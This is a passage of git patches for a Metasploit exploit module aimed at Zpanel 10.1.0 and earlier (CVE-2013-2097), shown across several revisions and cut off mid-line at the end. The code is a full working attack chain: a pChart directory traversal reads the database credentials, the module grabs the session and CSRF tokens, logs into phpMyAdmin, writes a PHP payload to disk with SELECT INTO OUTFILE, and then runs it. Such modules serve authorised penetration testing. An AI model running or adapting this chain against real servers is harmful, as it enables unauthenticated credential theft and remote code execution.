] - ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 30 2014')) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end - - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method' => 'get', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get' => { - 'Action' => 'View', - 'Script' => '../../../../cnf/db.php' - }, - 'version' => "1.1", - }) - - uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) - - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - - return uname, passwd, dbname - end - - def grab_sess_and_token(uri) - - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}"), - 'version' => '1.1' - }) - - sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" - sess_id = sess_id[2..-3] - - if sess_id.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sess_id}") - - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version' => '1.1', - 'Cookie' => "PHPSESSID=#{sess_id}" - }) - - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies - - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" - - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sess_id - else - print_error("CSRF token could not be identified...") - end - else - print_error("PHPSESSID could not be identified...") - end - end - - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie' => cookies, - 'ctype' => "application/x-www-form-urlencoded", - 'headers' => { - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post' => { - 'pma_username' => uname, - 'pma_password' => passwd, - 'server' => "1", - 'lang' => "en", - 'collation_connection' => "utf8_general_ci", - 'token' => token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "PHPSESSID=#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie' => new_cookies, - 'vars_get' => { - 'token' => token - } - }) - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ - print_good("PHPMyAdmin login successful!") - return new_cookies, token - end - end - - def do_sql(cookies, token, uri) - - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version' => '1.1', - 'cookie' => cookies, - 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', - 'headers' => { - 'X-Requested-With' => "XMLHttpRequest", - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post' => { - 'is_js_confirmed' => "0", - 'token' => token, - 'pos' => "0", - 'goto' => "server_sql.php", - 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query' => "", - 'sql_query' => sql_stmt, - 'sql_delimiter' => ";", - 'show_query' => "1", - 'ajax_request' => "true", - '_nocache' => rand.to_s[2..19].to_i - }, - }) - - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") - - print_status("Executing '#{fname}' on the remote host") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "#{fname}"), - 'version' => '1.1' - }) - - else - print_error("#{res.body.to_s}") - end - end - - def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - - # Checking pChart - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") - }) - - # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash(uri) - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] - - if uname.length > 0 and passwd.length > 0 - print_good("Directory traversal successful, Username/Password identified!") - print_good("Username: #{uname.to_s}") - print_good("Password: #{passwd.to_s}") - print_good("DB Name: #{db_name.to_s}") - - cookies, token, sess_id = grab_sess_and_token(uri) - - print_status("Logging into PHPMyAdmin now") - cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - - print_status("Uploading malicious payload now") - do_sql(cookies, token, uri) - - else - print_error("It appears that the directory traversal was unsuccessful...") - end - - else - print_error("It appears that the version of pChart is not vulnerable...") - end - end -end +require 'msf/core' +require 'msf/core/exploit/php_exe' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zpanel Remote Unauthenticated RCE', + 'Description' => %q{ + This module exploits an information disclosure vulnerability + found in Zpanel <= 10.1.0. The vulnerability exposed due to a + vulnerable version of pChart allowing remote, unauthenticated, + users to read arbitrary files found on the filesystem. This + particular module utilizes this vulnerability to identify the + username/password combination of the MySQL instance. With the + credentials the attackers can login to PHPMyAdmin and execute + SQL commands to drop a malicious payload on the filesystem and + call it leading to remote code execution. + }, + 'Author' => [ + 'dawn isabel', #dawn.isabel[at]gmail.com + 'brad wolfe', #brad.wolfe[at]gmail.com + 'brent morris', #inkrypto[at]gmail.com + 'james fitts' #fitts.james[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-2097' ], + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart + [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], + [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 30 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) + ], self.class) + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' => 'get', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + }, + 'version' => "1.1", + }) + + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + + return uname, passwd, dbname + end + + def grab_sess_and_token(uri) + + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + 'version' => '1.1' + }) + + sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" + sess_id = sess_id[2..-3] + + if sess_id.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sess_id}") + + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version' => '1.1', + 'Cookie' => "PHPSESSID=#{sess_id}" + }) + + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sess_id + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie' => cookies, + 'ctype' => "application/x-www-form-urlencoded", + 'headers' => { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => "1", + 'lang' => "en", + 'collation_connection' => "utf8_general_ci", + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "PHPSESSID=#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good("PHPMyAdmin login successful!") + return new_cookies, token + end + end + + def do_sql(cookies, token, uri) + + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version' => '1.1', + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => "XMLHttpRequest", + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => "0", + 'token' => token, + 'pos' => "0", + 'goto' => "server_sql.php", + 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query' => "", + 'sql_query' => sql_stmt, + 'sql_delimiter' => ";", + 'show_query' => "1", + 'ajax_request' => "true", + '_nocache' => rand.to_s[2..19].to_i + }, + }) + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "#{fname}"), + 'version' => '1.1' + }) + + else + print_error("#{res.body.to_s}") + end + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + # Checking pChart + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") + }) + + # if pChart is vuln version + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash(uri) + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] + + if uname.length > 0 and passwd.length > 0 + print_good("Directory traversal successful, Username/Password identified!") + print_good("Username: #{uname.to_s}") + print_good("Password: #{passwd.to_s}") + print_good("DB Name: #{db_name.to_s}") + + cookies, token, sess_id = grab_sess_and_token(uri) + + print_status("Logging into PHPMyAdmin now") + cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + + print_status("Uploading malicious payload now") + do_sql(cookies, token, uri) + + else + print_error("It appears that the directory traversal was unsuccessful...") + end + + else + print_error("It appears that the version of pChart is not vulnerable...") + end + end +end From 28454f3b2e3139eeb74c8a28b0d276f9b3963f3d Mon Sep 17 00:00:00 2001 From: brent morris Date: Thu, 8 Oct 2015 12:59:46 -0400 Subject: [PATCH 6/7] MSFTidyness --- .../http/zpanel_information_disclosure_rce.rb | 368 +++++++++--------- 1 file changed, 190 insertions(+), 178 deletions(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index cfdecfb7cf..90af76162d 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -1,6 +1,6 @@ require 'msf/core' require 'msf/core/exploit/php_exe' - + class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient @@ -20,246 +20,258 @@ class Metasploit3 < Msf::Exploit::Remote credentials the attackers can login to PHPMyAdmin and execute SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution. - }, - 'Author' => [ - 'dawn isabel', #dawn.isabel[at]gmail.com - 'brad wolfe', #brad.wolfe[at]gmail.com - 'brent morris', #inkrypto[at]gmail.com - 'james fitts' #fitts.james[at]gmail.com + }, + 'Author' => [ + 'dawn isabel', + 'brad wolfe', + 'brent morris', + 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ], # pChart - [ 'OSVDB', '102595' ], # pChart + [ 'EDB', '31173' ],# pChart + [ 'OSVDB', '102595' ],# pChart [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] ], - 'Payload' => + 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', - 'Arch' => ARCH_PHP, + 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 30 2014')) - register_options( - [ + register_options( + [ OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end + ], self.class) + end - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method' => 'get', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get' => { - 'Action' => 'View', - 'Script' => '../../../../cnf/db.php' - }, - 'version' => "1.1", - }) + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method'=>'get', + 'uri'=> normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), + 'vars_get'=> { + 'Action'=> 'View', + 'Script'=> '../../../../cnf/db.php' + }, + 'version'=>"1.1", + }) - uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) + uname = res.body.scan(/(?<=\$user <\/span>= <\/span>')[A-Za-z0-9]+/) - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) + passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) + dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - return uname, passwd, dbname - end + return uname, passwd, dbname + end - def grab_sess_and_token(uri) + def grab_sess_and_token(uri) + print_status("Attempting to get PHPSESSIONID") + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}"), + 'version'=>'1.1' + }) - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}"), - 'version' => '1.1' - }) + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') + end + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' - sess_id = "#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}" - sess_id = sess_id[2..-3] + if sid.length > 0 + print_good("PHPSESSID identified!") + print_good("PHPSESSID = #{sid.split("=")[1]}") - if sess_id.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sess_id}") + print_status("Attempting to get CSRF token") + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), + 'version'=>'1.1', + 'Cookie'=>"#{sid}" + }) - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version' => '1.1', - 'Cookie' => "PHPSESSID=#{sess_id}" + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') + end + token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" + token = token.to_s[2..-3] + token = token[0..31] + cookies = res.get_cookies + + cookies = cookies.split("; ") + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" + + if token.length > 0 + print_good("CSRF token identified!") + print_good("CSRF token = #{token}") + return cookies, token, sid + else + print_error("CSRF token could not be identified...") + end + else + print_error("PHPSESSID could not be identified...") + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method'=>'POST', + 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'cookie'=>cookies, + 'ctype'=>"application/x-www-form-urlencoded", + 'headers'=>{ + 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post'=>{ + 'pma_username'=>uname, + 'pma_password'=>passwd, + 'server'=>"1", + 'lang'=>"en", + 'collation_connection'=>"utf8_general_ci", + 'token'=>token + } }) - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies + cookies = "#{res.get_cookies}" - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}" + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sess_id - else - print_error("CSRF token could not be identified...") + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "#{sess_id}" + + token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) + token = token.to_s[2..-3] + + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), + 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie'=>new_cookies, + 'vars_get'=>{ + 'token'=>token + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') end - else - print_error("PHPSESSID could not be identified...") - end - end - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie' => cookies, - 'ctype' => "application/x-www-form-urlencoded", - 'headers' => { - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post' => { - 'pma_username' => uname, - 'pma_password' => passwd, - 'server' => "1", - 'lang' => "en", - 'collation_connection' => "utf8_general_ci", - 'token' => token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "PHPSESSID=#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie' => new_cookies, - 'vars_get' => { - 'token' => token - } - }) - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ print_good("PHPMyAdmin login successful!") return new_cookies, token end + end - def do_sql(cookies, token, uri) + def do_sql(cookies, token, uri) - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" - - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version' => '1.1', - 'cookie' => cookies, - 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', - 'headers' => { - 'X-Requested-With' => "XMLHttpRequest", - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post' => { - 'is_js_confirmed' => "0", - 'token' => token, - 'pos' => "0", - 'goto' => "server_sql.php", - 'message_to_show' => "Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query' => "", - 'sql_query' => sql_stmt, - 'sql_delimiter' => ";", - 'show_query' => "1", - 'ajax_request' => "true", - '_nocache' => rand.to_s[2..19].to_i - }, - }) - - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") - - print_status("Executing '#{fname}' on the remote host") + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "#{fname}"), - 'version' => '1.1' + 'method'=>'POST', + 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "import.php"), + 'version'=>'1.1', + 'cookie'=>cookies, + 'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8', + 'headers'=>{ + 'X-Requested-With'=>"XMLHttpRequest", + 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post'=>{ + 'is_js_confirmed'=>"0", + 'token'=>token, + 'pos'=>"0", + 'goto'=>"server_sql.php", + 'message_to_show'=>"Your+SQL+query+has+been+executed+successfully", + 'prev_sql_query'=>"", + 'sql_query'=>sql_stmt, + 'sql_delimiter'=>";", + 'show_query'=>"1", + 'ajax_request'=>"true", + '_nocache'=>rand.to_s[2..19].to_i + }, }) - else - print_error("#{res.body.to_s}") + unless res + fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') + end + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + + print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") + + print_status("Executing '#{fname}' on the remote host") + + res = send_request_cgi({ + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}", "#{fname}"), + 'version'=>'1.1' + }) + + else + print_error("#{res.body.to_s}") + end end - end - def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - - # Checking pChart - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php") - }) + def exploit + # Checking pChart + res = send_request_cgi({ + 'method'=> 'GET', + 'uri'=> normalize_uri("#{datastore['URI']}", "etc", "lib", "pChart2", "examples", "index.php") + }) # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash(uri) - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] + if res.body =~ /pChart 2.x/ + db_info = dot_dot_slash("#{datastore['URI']}") + db_info = db_info.flatten + uname = db_info[0] + passwd = db_info[1] + db_name = db_info[2] - if uname.length > 0 and passwd.length > 0 + if uname.length > 0 && passwd.length > 0 print_good("Directory traversal successful, Username/Password identified!") - print_good("Username: #{uname.to_s}") - print_good("Password: #{passwd.to_s}") - print_good("DB Name: #{db_name.to_s}") + print_good("Username: #{uname}") + print_good("Password: #{passwd}") + print_good("DB Name: #{db_name}") - cookies, token, sess_id = grab_sess_and_token(uri) + cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}") print_status("Logging into PHPMyAdmin now") - cookies, token = login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id) print_status("Uploading malicious payload now") - do_sql(cookies, token, uri) + do_sql(cookies, token, "#{datastore['URI']}") else print_error("It appears that the directory traversal was unsuccessful...") end - else - print_error("It appears that the version of pChart is not vulnerable...") + else + print_error("It appears that the version of pChart is not vulnerable...") end + end end From 728fd17856803f502e677c610b5b3e2c306774c1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 20 Oct 2015 16:07:02 -0500 Subject: [PATCH 7/7] Make code changes for zpanel_information_disclosure_rce.rb Use Nokogiri and URI, as well as indent fixes and other things --- .../http/zpanel_information_disclosure_rce.rb | 415 +++++++++--------- 1 file changed, 215 insertions(+), 200 deletions(-) diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 90af76162d..6c660a5bcf 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -1,5 +1,7 @@ require 'msf/core' require 'msf/core/exploit/php_exe' +require 'nokogiri' +require 'uri' class Metasploit3 < Msf::Exploit::Remote @@ -12,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Zpanel Remote Unauthenticated RCE', 'Description' => %q{ This module exploits an information disclosure vulnerability - found in Zpanel <= 10.1.0. The vulnerability exposed due to a + found in Zpanel <= 10.1.0. The vulnerability is due to a vulnerable version of pChart allowing remote, unauthenticated, users to read arbitrary files found on the filesystem. This particular module utilizes this vulnerability to identify the @@ -21,18 +23,19 @@ class Metasploit3 < Msf::Exploit::Remote SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution. }, - 'Author' => [ - 'dawn isabel', - 'brad wolfe', - 'brent morris', - 'james fitts' + 'Author' => + [ + 'dawn isabel', + 'brad wolfe', + 'brent morris', + 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2097' ], - [ 'EDB', '31173' ],# pChart - [ 'OSVDB', '102595' ],# pChart + [ 'EDB', '31173' ], # pChart + [ 'OSVDB', '102595' ], # pChart [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ], [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ] @@ -42,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", }, 'Platform' => 'php', - 'Arch' => ARCH_PHP, + 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], @@ -51,227 +54,239 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 30 2014')) - register_options( - [ + register_options( + [ OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) - ], self.class) - end - - def dot_dot_slash(uri) - res = send_request_cgi({ - 'method'=>'get', - 'uri'=> normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"), - 'vars_get'=> { - 'Action'=> 'View', - 'Script'=> '../../../../cnf/db.php' - }, - 'version'=>"1.1", - }) - - uname = res.body.scan(/(?<=\$user 